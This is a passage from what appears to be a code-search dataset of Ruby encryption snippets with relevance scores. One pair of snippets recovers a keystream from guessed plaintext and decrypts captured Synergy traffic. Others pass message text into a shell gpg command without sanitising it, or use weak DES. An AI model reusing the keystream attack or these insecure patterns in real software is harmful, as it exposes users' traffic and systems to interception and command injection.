BEGIN SSH2 PUBLIC KEY ----\\n\"\n ssh2_key << header_fields unless header_fields.nil?\n ssh2_key << source_key.scan(/.{1,#{SSH2_LINE_LENGTH}}/).join(\"\\n\")\n ssh2_key << \"\\n---- END SSH2 PUBLIC KEY ----\"\n end", "title": "" }, { "docid": "a7a056a34e5f2612025299add04a6157", "score": "0.44019634", "text": "def write_to(stream, language = tx_resource.source_lang)\n serializer.from_stream(stream, language, serialization_options) do |serializer|\n phrases.each do |phrase|\n serializer.write_key_value(\n phrase['key'], str(phrase['string'] || '')\n )\n end\n end\n end", "title": "" }, { "docid": "ba25ebaea4b9d5d0048d51c18a9f37f9", "score": "0.44012126", "text": "def encrypt_value(plaintext)\n cipher = OpenSSL::Cipher::AES.new(256, :CBC)\n OpenSSL::PKCS7.encrypt([public_key], plaintext, cipher, OpenSSL::PKCS7::BINARY).to_der\n end", "title": "" }, { "docid": "d86f7a9560e65bb3a12e9684ee5bc0e0", "score": "0.43897274", "text": "def rsa_encrypt_with_public(plain_string)\n raise \"No public key set\" unless @public_key\n\n @public_key.public_encrypt(plain_string)\n end", "title": "" }, { "docid": "48d7b59c7f7e75923aa9b340152ed7dd", "score": "0.4381", "text": "def decrypt(stoc_messages, keystream)\n keystream_pos = 0\n stoc_messages.each do |ciphertext|\n if keystream_pos + ciphertext.length > keystream.length\n puts \"Ran out of keystream, stopping.\"\n return\n end\n keystream_this = keystream[keystream_pos, ciphertext.length]\n keystream_pos += ciphertext.length\n plaintext = xor(ciphertext, keystream_this)\n p plaintext\n # After the server-to-client IV has been changed, the client-to-server\n # keystream no longer corresponds to the server-to-client keystream, so we\n # can't continue.\n if ciphertext.length == 24\n puts \"IV change detected, stopping.\"\n return\n end\n end\nend", "title": "" }, { "docid": "140faf573b8224e37fd7d4f7ce3b3c83", "score": "0.43664375", "text": "def encrypt\n encrypt_data(@decrypted_hash)\n end", "title": "" }, { "docid": "779b56073b864496ecc857cde1b206d3", "score": "0.43563166", "text": "def encrypt(plaintext)\n ciphertext, key, iv = aes_encrypt(plaintext)\n\n key = rsa_encrypt(key)\n payload = [VERSION, key, iv, ciphertext].to_msgpack\n digest = rsa_encrypt(sha2_digest(payload))\n\n [payload, digest].to_msgpack\n end", "title": "" }, { "docid": "824c7446e3f4fce923bc0ddc4db34904", "score": "0.434485", "text": "def encrypt(key)\n rsa.public_encrypt(key)\n end", "title": "" }, { "docid": "2fcdf514413dfe626cfc87a99ebaa333", "score": "0.43443602", "text": "def encrypt(input)\n @adapter.encrypt(@key, Sidekiq.dump_json(['Sidekiq::Encryptor::Wrapper', input]))\n end", "title": "" }, { "docid": "5518c9830d5280ba5478d0c743cfa084", "score": "0.43423143", "text": "def asymmetric_encrypt(plain_text_data, public_key)\r\n sentry.encrypt_to_base64_with_key(plain_text_data, public_key)\r\n end", "title": "" }, { "docid": "b21eacd305f2541ff17ddd2fa15f0cbf", "score": "0.4336827", "text": "def encrypt(*rest) end", "title": "" }, { "docid": "b465b6336ddee7d7043fed1d1114e58b", "score": "0.4335478", "text": "def encrypt(file, recipient)\n RubyGpg.encrypt(file.path, recipient)\n file.path << \".gpg\"\n end", "title": "" }, { "docid": "2039fea03e6e6742ce3305a65e11bd2c", "score": "0.43277264", "text": "def rsa_encrypt_value(value, public_key)\n Base64.encode64(public_key.public_encrypt(value))\n rescue OpenSSL::PKey::RSAError => e\n raise EncryptionFailure, \"#{e.class.name}: #{e}\"\n end", "title": "" }, { "docid": "402a0e31a32498b4b7fbcd65ada5c108", "score": "0.43155786", "text": "def encrypt(data)\n rsa=OpenSSL::PKey::RSA.new(get_priv_key)\n # base 64 output is joined into a single line as opennebula\n # ascii protocol ends messages with newline\n Base64::encode64(rsa.private_encrypt(data)).gsub!(/\\n/, '').strip\n end", "title": "" }, { "docid": "735a721abf4cf9abd1da4e36e7092efb", "score": "0.43118706", "text": "def send_pending(key, stream)\n @pending[key].each do |stanza|\n stream.write(stanza)\n end\n end", "title": "" }, { "docid": "735a721abf4cf9abd1da4e36e7092efb", "score": "0.43118706", "text": "def send_pending(key, stream)\n @pending[key].each do |stanza|\n stream.write(stanza)\n end\n end", "title": "" }, { "docid": "2ddbb4eb6423090f4379ac70d180c9d2", "score": "0.4309193", "text": "def encrypt(data)\n plain_text = data.to_json\n if plain_text.length < 215\n rsa_result = @public_rsa.public_encrypt(plain_text, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING)\n rsa_signature = @private_rsa.sign(OpenSSL::Digest::SHA512.new, plain_text)\n result = {\n payload: Base64.strict_encode64(rsa_result),\n signature: Base64.strict_encode64(rsa_signature),\n alg: 'RS512'\n }\n else\n aes = OpenSSL::Cipher::Cipher.new('AES-256-CBC')\n aes.encrypt\n key = aes.random_key\n iv = aes.random_iv\n aes_signature = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), key, plain_text)\n aes_result = aes.update(plain_text)\n aes_result << aes.final\n rsa_data = {\n cipher_key: Base64.strict_encode64(key),\n cipher_iv: Base64.strict_encode64(iv),\n signature: Base64.strict_encode64(aes_signature),\n timestamp: Time.now.to_i\n }\n rsa_result = @public_rsa.public_encrypt(rsa_data.to_json, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING)\n rsa_signature = @private_rsa.sign(OpenSSL::Digest::SHA512.new, rsa_data.to_json)\n result = {\n payload: Base64.strict_encode64(rsa_result),\n signature: Base64.strict_encode64(rsa_signature),\n message: Base64.strict_encode64(aes_result),\n alg: 'RS512'\n }\n end\n result\n end", "title": "" }, { "docid": "e99ad6166d7c34e31ca80c90d83bfc20", "score": "0.42968786", "text": "def encryptWithDeployKey(ciphertext)\n my_public_key = OpenSSL::PKey::RSA.new(@public_key)\n return my_public_key.public_encrypt(ciphertext)\n end", "title": "" }, { "docid": "e99ad6166d7c34e31ca80c90d83bfc20", "score": "0.42968786", "text": "def encryptWithDeployKey(ciphertext)\n my_public_key = OpenSSL::PKey::RSA.new(@public_key)\n return my_public_key.public_encrypt(ciphertext)\n end", "title": "" }, { "docid": "8ec63350ae6394fa0baf164272f08a67", "score": "0.4296703", "text": "def encrypt\n if encrypt_with_gpg_public_key.is_a?(String) && encrypt_with_password.is_a?(String)\n puts \"both 'encrypt_with_gpg_public_key' and 'encrypt_with_password' are set. Please choose one or the other. Exiting.\"\n exit 1\n end\n \n if encrypt_with_gpg_public_key.is_a?(String)\n if `which gpg` == ''\n puts \"Encrypting with a GPG public key requires that gpg be in your public path. gpg was not found. Exiting\"\n exit 1\n end\n log system_messages[:encrypting_w_key]\n self.encrypted_file = \"#{self.final_file}.gpg\"\n\n # tmp_file = Tempfile.new('backup.pub'){ |tmp_file| tmp_file << encrypt_with_gpg_public_key }\n tmp_file = Tempfile.new('backup.pub')\n tmp_file << encrypt_with_gpg_public_key\n tmp_file.close \n # that will either say the key was added OR that it wasn't needed, but either way we need to parse for the uid\n # which will be wrapped in '<' and '>' like <someone_famous@me.com>\n encryptionKeyId = `gpg --import #{tmp_file.path} 2>&1`.match(/<(.+)>/)[1] \n run \"gpg -e --trust-model always -o #{File.join(tmp_path, encrypted_file)} -r '#{encryptionKeyId}' #{File.join(tmp_path, compressed_file)}\"\n elsif encrypt_with_password.is_a?(String)\n log system_messages[:encrypting_w_pass]\n self.encrypted_file = \"#{self.final_file}.enc\"\n run \"openssl enc -des-cbc -in #{File.join(tmp_path, compressed_file)} -out #{File.join(tmp_path, encrypted_file)} -k #{encrypt_with_password}\"\n end\n self.final_file = encrypted_file if encrypted_file\n end", "title": "" }, { "docid": "4ad2523fa2ed00c27e0fdc3f7179758f", "score": "0.42275184", "text": "def write(input_stream=nil,\n content_type: nil,\n attachment: false,\n delete_at: nil,\n delete_after: nil,\n cache_control: nil,\n expires: nil,\n object_manifest: nil,\n part_location: nil,\n metadata: nil)\n\n h = {}\n\n input_stream.nil? or content_type or raise ArgumentError, 'Content_type is required if input_stream is given'\n\n object_manifest.nil? or input_stream.nil? or raise ArgumentError, 'Input must be nil on object manifest'\n\n if expires == :never\n expires = Time.at(4_000_000_000)\n cache_control = \"public, max_age=4000000000\"\n end\n\n h[H::CONTENT_DISPOSITION] = attachment ? 'attachment' : 'inline'\n h[H::OBJECT_MANIFEST] = object_manifest if object_manifest\n h[H::CONTENT_TYPE] = content_type if content_type\n h[H::EXPIRES] = expires.httpdate if expires\n h[H::CACHE_CONTROL] = cache_control if cache_control\n\n if delete_at\n h[H::DELETE_AT] = delete_at.to_i.to_s\n elsif delete_after\n h[H::DELETE_AFTER] = delete_after.to_i.to_s\n end\n\n merge_metadata(h, metadata)\n\n method = input_stream || object_manifest ? :put : :post\n path = part_location || relative_path\n\n request(path,\n :method => method,\n :headers => h,\n :input_stream => input_stream)\n clear_cache\n input_stream\n end", "title": "" }, { "docid": "772f2383a5f3036ffa7ea2f9a05fea03", "score": "0.4209911", "text": "def encrypt\n encrypted_lines = []\n @lines.each do |line|\n encrypted_lines << line.split('').map { |c| ((c.ord + @key) % 128).chr }.join('')\n end\n encrypted_lines\n end", "title": "" }, { "docid": "8048300268f8ab2795b3bed64fb1cf6a", "score": "0.4198189", "text": "def encrypt_message(pubkey, filename = 'crypt.pem')\n\tprint \"Enter a short message: \"\n\tcrypt = pubkey.public_encrypt(gets.chomp)\n\topen filename, 'w' do |io| \n\t\tio.write crypt\n\tend\n\tputs \"Message encrypted sucessfully!\"\nend", "title": "" }, { "docid": "447da0807e51fe8005e700edc51c5d28", "score": "0.4188831", "text": "def decrypt_stream(cryptStream, plainStream)\n # Cypher-block-chain mode\n chain = cryptStream.read(block_size())\n\n while (block = cryptStream.read(block_size()))\n decrypted = decrypt_block(block)\n plainText = xor(decrypted, chain)\n plainStream.write(plainText) unless cryptStream.eof?\n chain = block\n end\n\n # write the final block, omitting the padding\n buffer = plainText.split('')\n remainingMessageBytes = buffer.last.unpack('C').first\n remainingMessageBytes.times { plainStream.write(buffer.shift) }\n end", "title": "" }, { "docid": "c96d3d59199e0e74ad26faf5217ee7aa", "score": "0.41735518", "text": "def encryptWithDeployKey(ciphertext)\n\t\t\tmy_public_key = OpenSSL::PKey::RSA.new(@public_key)\n\t\t\treturn my_public_key.public_encrypt(ciphertext)\n\t\tend", "title": "" }, { "docid": "1015222040ada7d9168f7450d84dd072", "score": "0.41635242", "text": "def bulk_transfer(recipients, options = {})\n begin\n mass_pay_item = recipients.map do |recipient|\n recipient.symbolize_keys!\n {ReceiverEmail: recipient[:email],\n Amount: {\n currencyID: options[:currency] || \"USD\",\n value: Money.new(recipient[:amount]).dollars\n }, Note: options[:note],\n UniqueId: options[:unique_id]}\n end\n send_mass_pay(mass_pay_item, options)\n rescue\n nil\n end\n end", "title": "" }, { "docid": "4266785db8ca8ced680c8e921487ba55", "score": "0.41617855", "text": "def encrypt(path, input)\n File.open(path, \"w\") do |f|\n GPGME::Crypto.new.encrypt input, output: f,\n recipients: known_keys,\n armor: true,\n always_trust: true,\n sign: true,\n passphrase_callback: Dotgpg.method(:passfunc),\n signers: known_keys.detect{ |key| GPGME::Key.find(:secret).include?(key) }\n end\n true\n rescue SystemCallError => e\n Dotgpg.warn path, e\n false\n end", "title": "" }, { "docid": "77f5c497dde968c6d7201e7d50a795c0", "score": "0.41537094", "text": "def decrypt_with_public(crypted)\n raise \"Crypted data should include a key\" unless crypted.include?(:key)\n raise \"Crypted data should include data\" unless crypted.include?(:data)\n\n key = rsa_decrypt_with_public(base64_decode(crypted[:key]))\n\n aes_decrypt(key, base64_decode(crypted[:data]))\n end", "title": "" }, { "docid": "35785f12b29b1bfaa77291043609f9e3", "score": "0.41391313", "text": "def ssl_encrypt(unencrypted, _call)\n settings = {}\n settings[:file] = unencrypted.text\n settings[:key] = unencrypted.key\n settings[:nonce] = unencrypted.nonce\n settings[:pw] = unencrypted.password\n settings_process(settings)\n Encrypt.openssl(settings)\n end", "title": "" }, { "docid": "cea6ee1923f56213b953c1554074e85b", "score": "0.41359043", "text": "def object_uploaded_with_public_key_encryption?(\n s3_encryption_client,\n bucket_name,\n object_key,\n object_content\n)\n s3_encryption_client.put_object(\n bucket: bucket_name,\n key: object_key,\n body: object_content\n )\n return true\nrescue Aws::Errors::ServiceError => e\n puts \"Error uploading object: #{e.message}\"\n return false\nend", "title": "" }, { "docid": "dc91cbb6d1bc93eb359ec127030d8dfa", "score": "0.41219488", "text": "def send_stream(stream)\n response.headers['Content-Type'] = Mime[Stream::TRANSCODE_FORMAT]\n\n stream.each do |data|\n response.stream.write data\n end\n ensure\n response.stream.close\n end", "title": "" }, { "docid": "c8a4076708df3c10e605ff158efc536f", "score": "0.40997308", "text": "def encrypt(msg,options = {})\n command = \"echo '#{msg}' | #{@binary} --no-secmem-warning --no-permission-warning -q --always-trust --homedir #{@homedir_pub} -a -e -r '#{@recipient}'\"\n output = `#{command}`\n end", "title": "" }, { "docid": "97fe4b1367965445b87d0c9c65e6c44b", "score": "0.40992337", "text": "def open_encrypt(plaintext)\n @open_key.encrypt(plaintext)\n end", "title": "" }, { "docid": "a163f3bcc2c942228a25df9f8a9b1300", "score": "0.4092628", "text": "def private_encrypt(*rest) end", "title": "" }, { "docid": "1e97372680bbcf235f2010e02eec6ee7", "score": "0.40923285", "text": "def encrypt(data)\n Base64::encode64(@private_key_rsa.private_encrypt(data)).gsub!(/\\n/, '').strip\n end", "title": "" }, { "docid": "4f4ab06a4eb48b40c983ae65957887de", "score": "0.4088206", "text": "def envelope_for(recipients)\n receipts.build(recipient: sender, read_at: Time.current)\n\n recipients.each { |recipient| receipts.build(recipient: recipient) }\n end", "title": "" }, { "docid": "47e8e8eacfe4054683876ac79b578853", "score": "0.40854996", "text": "def publish_stream(user_with_session_to_use, user_to_update, params)\n send_as :publish_stream\n from user_with_session_to_use\n target user_to_update if user_to_update\n attachment params[:attachment].to_hash\n message params[:message]\n action_links params[:action_links]\n end", "title": "" }, { "docid": "985ec0aa836ce83789f12eba4f0e6fa2", "score": "0.40840405", "text": "def create\n if !recipients_params.nil?\n recipients_params.each do |key, value|\n user = User.find_by(email: value)\n if user\n @invitation = Invitation.new(invitation_params)\n @invitation.sender_id = current_user.id\n @invitation.recipient_id = user.id\n if @invitation.save\n respond_to do |format|\n format.html { redirect_to users_path, success: 'Invitation was successfully created.' }\n format.json { render :show, status: :created, location: invitation }\n format.js { flash[:success] = \"The invitations have been sent\" }\n end\n else\n\n end\n end\n end\n else\n respond_to do |format|\n format.html\n format.json\n format.js\n end\n end\n end", "title": "" }, { "docid": "84d8e64a143388ea491a13335ffc6664", "score": "0.4078573", "text": "def add_public_key(public_key)\n add_buffer public_key.to_buffer\n end", "title": "" }, { "docid": "0fe442f1b03a5e63c591c8d106368a32", "score": "0.4070073", "text": "def encrypt(string)\n\n # get the message encryptor\n encryptor = ActiveSupport::MessageEncryptor.new(@secret_key)\n\n # encrypt the string\n encryptor.encrypt_and_sign(string)\n\n end", "title": "" }, { "docid": "bfe7fd5f09a33bdc54c27dd3abcaee7b", "score": "0.40691993", "text": "def encrypt(*args)\n active.send :encrypt, *args\n end", "title": "" }, { "docid": "a4b4f625acecbc9d3f7d4302db3bff8a", "score": "0.40613672", "text": "def update_all_keys\n raise Discourse::InvalidParameters.new(:public) if params[:public].blank?\n\n ActiveRecord::Base.transaction do\n a = EncryptedTopicsUser.where(user: current_user).pluck(:topic_id)\n b = (params[:keys] || {}).keys.map(&:to_i)\n raise Discourse::InvalidParameters.new(:keys) if a.sort != b.sort\n\n user_key = UserEncryptionKey.find_or_initialize_by(user_id: current_user.id)\n user_key.encrypt_public = params[:public]\n user_key.encrypt_private = nil\n user_key.save!\n\n params[:keys]&.each do |topic_id, key|\n EncryptedTopicsUser.where(user: current_user, topic_id: topic_id).update_all(key: key)\n end\n end\n\n render json: success_json\n end", "title": "" }, { "docid": "99306e7835b3a56e1663d93f50f74b0e", "score": "0.4047636", "text": "def customer_key_sse_encrypted_object_uploaded?(\r\n s3_client,\r\n bucket_name,\r\n object_key,\r\n content_to_encrypt,\r\n encryption_key\r\n)\r\n s3_client.put_object(\r\n bucket: bucket_name,\r\n key: object_key,\r\n body: content_to_encrypt,\r\n sse_customer_algorithm: 'AES256',\r\n sse_customer_key: encryption_key,\r\n sse_customer_key_md5: Digest::MD5.digest(encryption_key)\r\n )\r\n return true\r\nrescue StandardError => e\r\n puts \"Error uploading encrypted object: #{e.message}\"\r\n return false\r\nend", "title": "" }, { "docid": "d211bab87a52a4e7cd0f057136b33068", "score": "0.40463555", "text": "def encrypt_in_chunks(plaintext)\n plain_size = plaintext.bytesize\n number_chunks = plain_size / 4096\n chunk_size = plain_size / (1 + number_chunks)\n ciphertext_set = plaintext.scan(/.{1,#{chunk_size}}/m).map(&method(:encrypt_raw_kms))\n KEY_TYPE[:KMS] + ciphertext_set.map { |chunk| Base64.strict_encode64(chunk) }.to_json\n end", "title": "" }, { "docid": "8799b8853905bf412f6f909449aa0a5e", "score": "0.40332627", "text": "def encrypt_rsa_key(rsa_key, key_password)\n raise TypeError, 'rsa_key must be a Ruby OpenSSL::PKey::RSA object' unless rsa_key.is_a?(OpenSSL::PKey::RSA)\n raise TypeError, 'RSA key password must be a string' unless key_password.is_a?(String)\n\n cipher = OpenSSL::Cipher.new('cip-her-des3')\n rsa_key.to_pem(cipher, key_password)\n end", "title": "" }, { "docid": "83cb2b740c81c315c31a08800872844a", "score": "0.4026469", "text": "def uses_key?(public_key_hash)\n locking_public_key_hash = Crypto.hash_public_key(public_key)\n locking_public_key_hash == public_key_hash\n end", "title": "" }, { "docid": "ae71fd802b8993be389294be8c101bd9", "score": "0.40242362", "text": "def load_secrets!(path_or_stream)\n @secret_keys = Set.new\n @values = {}\n @original_encrypted = {}\n\n hash = {}\n if path_or_stream.is_a?(Hash)\n # HACK: Perform a marshal dump/load operation to get a deep copy of the hash.\n # Otherwise, we can end up using destructive `#delete` operations and mess\n # up deeply nested values for external code (esp. when loading key: .encrypted)\n hash = Marshal.load(Marshal.dump(path_or_stream))\n elsif path_or_stream\n data = path_or_stream.read\n hash = parse_data(data)\n end\n\n encrypted_values = hash.delete(ENCRYPTED)\n if encrypted_values\n @original_encrypted = Marshal.load(Marshal.dump(encrypted_values))\n\n version = encrypted_values.delete(VERSION_KEY) || CRYPTO_VERSION\n raise VersionError, \"Unsupported file version #{version}. Max supported is #{CRYPTO_VERSION}.\" if version > CRYPTO_VERSION\n\n file_key = encrypted_values.delete(ENCRYPTION_KEY)\n salt = (encrypted_values.delete(SALT) || Encryptor.random_salt)\n update_secret(salt: salt)\n\n # Check that we are using the right key\n if file_key && !encryption_key_matches?(file_key)\n raise EncryptionKeyError.new(\"Incorrect encryption key\")\n end\n @secret_keys = encrypted_values.keys\n hash.merge!(decrypt_values(encrypted_values))\n elsif @salt.nil?\n # if no salt exists, create one.\n update_secret(salt: Encryptor.random_salt)\n end\n\n @values = hash\n end", "title": "" }, { "docid": "24985788932af566629eb5705344d9f9", "score": "0.40210584", "text": "def reconstruct_keystream(ctos_messages)\n keystream = \"\"\n ctos_messages.each do |ciphertext|\n # Use the message length as a side-channel to predict the plaintext.\n case ciphertext.length\n when 4 # CNOP or CALV\n # It can be CNOP or CALV, but CNOP is way more common, so we use that.\n keystream << xor(ciphertext, \"CNOP\")\n when 23 # The first \"Synergy...\" thing that gets sent\n keystream << xor(ciphertext, \"Synergy\\x00\\x01\\x00\\x04\\x00\\x00\\x00\\x08\\x73\\x79\\x6e\\x65\\x72\\x67\\x79\\x32\")\n when 18 # DINF...\n # The last part varies, but can be guessed if you really need it.\n keystream << xor(ciphertext, \"DINF\" + \"\\x00\" * 14)\n else\n keystream << \"\\x00\" * ciphertext.length\n end\n end\n return keystream\nend", "title": "" }, { "docid": "e2bc988578db747ae4f31ce11eaf6740", "score": "0.40188733", "text": "def combine(pubkeys)\n raise ArgumentError, 'must give at least 1 pubkey' if pubkeys.empty?\n\n outpub = FFI::Pubkey.new.pointer\n #pubkeys.each {|item| }\n\n res = C.secp256k1_ec_pubkey_combine(@ctx, outpub, pubkeys, pubkeys.size)\n raise AssertError, 'failed to combine public keys' unless res == 1\n\n @public_key = outpub\n outpub\n end", "title": "" }, { "docid": "caf5b07a9b64383a1ac8e4279bede148", "score": "0.40168127", "text": "def encrypt(value)\n sign_and_encode _encrypt(value), encrypted_signed_secret\n end", "title": "" }, { "docid": "5606658a566dbab4257047441864bc3b", "score": "0.40065217", "text": "def mt_stream_crypt(key, msg)\n\tgenerator = MT.new\n\tkey = Matasano.bin2dec(key)\n\tkeystream = ''\n\n\tgenerator.init(key)\n\n\t(msg.length.to_f/4).ceil.times do\n\t\tkeystream += Matasano.dec2bin(generator.extract_number())\n\tend\n\n\tkeystream = keystream[0...msg.length]\n\treturn Matasano.xor(msg, keystream)\nend", "title": "" }, { "docid": "16379d6c3acaefb1d1d89f80a968e649", "score": "0.400561", "text": "def export_public_key(keypair)\n\topen 'public_key.pem', 'w' do |io|\n\t\tio.write keypair.public_key.to_pem\n\tend\n\tputs \"Public key exported sucessfully!\"\nend", "title": "" }, { "docid": "215c642c4529bdac937ef9ea8a0cc25c", "score": "0.40045312", "text": "def encode_to(stream)\n ::Protobuf::Encoder.encode(self, stream)\n end", "title": "" }, { "docid": "88bf9c001b51805eab9c5e605726f9b4", "score": "0.40033793", "text": "def encrypt(plaintext)\n salt = (1..SALT_BYTES).inject('') { |s,_| s << rand(256).chr }\n opaque = @enc_aes.update(plaintext + salt)\n opaque << @enc_aes.final\n @enc_aes.reset\n opaque\n end", "title": "" }, { "docid": "e07c1605dc79cfe28ae0fa6b30f6576c", "score": "0.40023446", "text": "def get_public_invitations(opts = {})\n data, _status_code, _headers = get_public_invitations_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "b942be72dc3a984ca50d24e7b41b666f", "score": "0.4001504", "text": "def encrypt; end", "title": "" }, { "docid": "8c6e5472d501356ed29bace8b72345f7", "score": "0.39880404", "text": "def aggregate_public_keys(public_keys_string)\n points = public_keys_string.map{ |point_string| hex_to_point point_string }\n\n result = infinity_point\n points.each{ |point| result = add_points(result, point) }\n\n point_to_hex result\n end", "title": "" }, { "docid": "0f0c23b7ff96f5e621ec1433472ecf72", "score": "0.39838874", "text": "def outbound(target=:server)\n cfg = @config[:radix][:keys]\n raise \":#{target.to_s} not found\" if not cfg.has_key? target\n @rsa_enc_key = OpenSSL::PKey::RSA.new(File.read(cfg[target][:pub]))\n end", "title": "" }, { "docid": "ee36e30f993107cff328343ee832c084", "score": "0.39749384", "text": "def to_rsa_keypair\n Crypto.make_rsa_keypair(nil, private_key)\n end", "title": "" }, { "docid": "94b71e65cc33b1dd625fe4c80cf85d5d", "score": "0.397128", "text": "def handle_encryption\n sent = send :encryption_options,\n Encryptor.sorted_encryptors.map(&:encryptor_name).join(\"\\n\")\n\n response = response_to sent\n response.expect(:public_key)\n\n parts = response.body.split(\"\\n\")\n\n name = parts.shift\n body = parts.join(\"\\n\")\n\n enc = Encryptor.encryptors.select { |e|\n e.encryptor_name == name\n }.first.new\n enc.private_key!\n enc.other_public_key = body\n\n respond_to response, :public_key, enc.public_key\n self.encryption_provider = enc\n end", "title": "" }, { "docid": "c773673eea3ac506df8132e56f9a39fb", "score": "0.39652076", "text": "def gpg_encrypt(unencrypted, _call)\n settings = {}\n settings[:file] = unencrypted.text\n settings[:pw] = unencrypted.password\n settings_process(settings)\n Encrypt.gpgme(settings)\n end", "title": "" }, { "docid": "294449a9982a044e04324ff4c272a3f6", "score": "0.3959538", "text": "def encrypt! opts\n if opts[:key]\n encrypt_with_key opts[:name].to_s, opts[:key], opts.select { |key, _| key != :key && key != :name }\n else\n raise \"public :key is required for encryption\"\n end\n self\n end", "title": "" }, { "docid": "706c9910f71d188755449a0afe7d0841", "score": "0.3959241", "text": "def put_trusted_keys(keys, prv)\n keys_s = keys.join(\"\\n\") + \"\\n\"\n # Key store\n File.write(@trust_path, keys_s)\n # Signature\n data = {\n signature: Enc.encode(prv.sign(keys_s))\n }\n File.write(@trust_path + SIGEXT, data.to_yaml)\nend", "title": "" }, { "docid": "103538e7ec4fd50b7686df9976d10018", "score": "0.39583185", "text": "def <<(stream)\n case stream_type(stream)\n when :client then\n return unless stream.connected?\n jid = stream.user.jid.bare\n @clients[jid] ||= []\n @clients[jid] << stream\n when :server then @servers << stream\n when :component then @components << stream\n end\n end", "title": "" }, { "docid": "86a036e5526f87013109d127f8d91c93", "score": "0.3956385", "text": "def encrypt(text)\n Base64.encode64(@private_key.send(\"private_encrypt\", text)) if @private_key\n end", "title": "" }, { "docid": "0f3d52e4526030eeabd2d3d39cc5560f", "score": "0.3955686", "text": "def encode_stream(stream)\n sz = stream.inject(0) do |acc, ele|\n acc + (ele.kind_of?(Array) ? ele.size : 1)\n end\n\n @iseq = InstructionSequence.new(sz)\n @offset = 0\n\n begin\n stream.each do |inst|\n encode inst\n end\n rescue Exception => e\n STDERR.puts \"Unable to encode stream:\"\n STDERR.puts stream.inspect\n raise e\n end\n\n return @iseq\n end", "title": "" }, { "docid": "2329854d1473c662a9c2726bf0671ccd", "score": "0.3955461", "text": "def send_invitations(email_addresses)\n self.invite = [email_addresses].flatten\n self.save\n end", "title": "" }, { "docid": "74c58526aafb6da49934abdcdb5768b4", "score": "0.3955262", "text": "def stream_write(stream_name,data_string,partition_key=nil)\n result=false\n\n partition_key = partition_key || rand(100).to_s\n\n put_data = {\n :data => data_string\n }\n\n put_options = {\n :stream_name => stream_name,\n :partition_key => partition_key,\n :data => put_data.to_json\n }\n\n @logger.debug(\"#{TAG} write to #{stream_name} stream with data #{data_string}\")\n\n # Write to kinesis; 3 attempts\n attempt_count=3\n last_exception=nil\n while attempt_count > 0 && !result\n begin\n put_record_result = AWS.kinesis.client.put_record(put_options)\n puts put_record_result.to_json\n @logger.warn(\"put record result #{put_record_result.to_json}\")\n if put_record_result.http_response.status < 299\n result = true\n else\n @logger.warn(\"#{TAG} put_record response: HTTP #{put_record_result.http_response.status}: #{put_record_result.http_response.body}\")\n end\n rescue Exception => e\n\n # log exception and retry with 1 second backoff\n @logger.warn(\"#{TAG} put_record Exception caught #{e.class}: #{e.message}\\n\\t#{e.backtrace.join(\"\\n\\t\")}\")\n attempt_count-=1\n last_exception=e\n end\n end\n\n # If failure after 3 retries, raise the last exception\n if !result\n raise last_exception\n end\n\n return result\n end", "title": "" } ]
67df4cf8f4784eebcb8f900ef403d596
Indicates (if true) that help with fees is available, but could be subject to more
[ { "docid": "929cf6bca7fba1a6682e884d9b67a3ef", "score": "0.0", "text": "def help_available?\n help_available\n end", "title": "" } ]
[ { "docid": "45a7f0da730a6ade124057dab23e09d1", "score": "0.72887194", "text": "def takes_fees?\n false\n end", "title": "" }, { "docid": "11a1b840698956bd10b8319df0d82769", "score": "0.72277844", "text": "def check_for_completeness\n mark_complete if paid? && delivered?\n end", "title": "" }, { "docid": "8ee0e97ed5cb7f1bb92dd19d403c7d71", "score": "0.7188662", "text": "def free?\n self[:cost_per_month].zero? && self[:setup_fee].zero? && pricing_rules.empty?\n end", "title": "" }, { "docid": "451eff2129e2b78771a2404d940499ea", "score": "0.70866", "text": "def needs_thanks?\n granted? && !thanked?\n end", "title": "" }, { "docid": "c4ac9496b6246a87619f16b078aae95e", "score": "0.70559317", "text": "def free?\n self.price == 0 && self.price_per_user == 0 && self.setup_price == 0\n end", "title": "" }, { "docid": "5535ca74d09b5b018b4c5fdd4f83f649", "score": "0.69761574", "text": "def threshold_eligible\n shipping.white_glove? && shipping.entryway?\n end", "title": "" }, { "docid": "12d22c63534655207842e5f2e29998b5", "score": "0.6913829", "text": "def sendable_for_approval?\n !sent_for_approval? && self.quality_head_correct?\n end", "title": "" }, { "docid": "9a6920576f3e72aa7ddb08b2b29c0e10", "score": "0.683524", "text": "def eligible?\n true\n end", "title": "" }, { "docid": "46521840751632cd88caf3babfd2eb7e", "score": "0.6828525", "text": "def has_paid_supporting?\n charges.successful.any?\n end", "title": "" }, { "docid": "666850d2d166fcd090a7d1eb4b275a8d", "score": "0.6819152", "text": "def charge_check_fee?\n if @checks_used >= 3\n return true\n end\n end", "title": "" }, { "docid": "acdabf0213a207e452dde264c3d19086", "score": "0.68055457", "text": "def eligible_for_dfe_funding\n if previously_funded?\n false\n else\n eligible_for_funding\n end\n end", "title": "" }, { "docid": "9e43f43cfa2707a09b3b06350ac0eb2d", "score": "0.6798766", "text": "def alert_user?\n # check the three necessary conditions\n # in order of increasing cost\n self.enabled? && approximately_now? && pickup_today?\n end", "title": "" }, { "docid": "4bdb04854376c91079b070149dcf0226", "score": "0.6777157", "text": "def unpaid?\n false\n end", "title": "" }, { "docid": "88212099e10883fc188940cf508e7216", "score": "0.677696", "text": "def isAvailable\n if self.active? && self.approved?\n if (self.achievements.sum(&:cost) > (self.overall_budget - self.overall_used_budget)) ||\n (self.achievements.sum(&:cost) > (self.daily_budget - self.daily_used_budget)) ||\n (self.achievements.sum(&:cost) > self.app.account.developer_reserved_balance)\n return false\n else\n return true\n end\n else\n return false\n end\n end", "title": "" }, { "docid": "bcbc145da8ea69da4e256fcc63034bbf", "score": "0.6776104", "text": "def can_accept_donations\n self.goal_amount > 0\n end", "title": "" }, { "docid": "438d042bb40256f08f6316b9cd6561d1", "score": "0.676859", "text": "def ready_to_approve?\n status = self.units.map(&:unit_status) & ['condition', 'copyright', 'unapproved']\n return status.empty?\n end", "title": "" }, { "docid": "f93a17e795b6d4befa67edca7876aff6", "score": "0.6763007", "text": "def redeemable?\n credits and credits > 0 and item_type != 'Credits'\n end", "title": "" }, { "docid": "8ff2b94f13126129457ed8808467042f", "score": "0.67539346", "text": "def ready_to_ship?\n approvals_count >= required_approvals\n end", "title": "" }, { "docid": "10796297b5750d3c4b91357e8f0a41a6", "score": "0.6713161", "text": "def only_paid?\n !bonus?\n end", 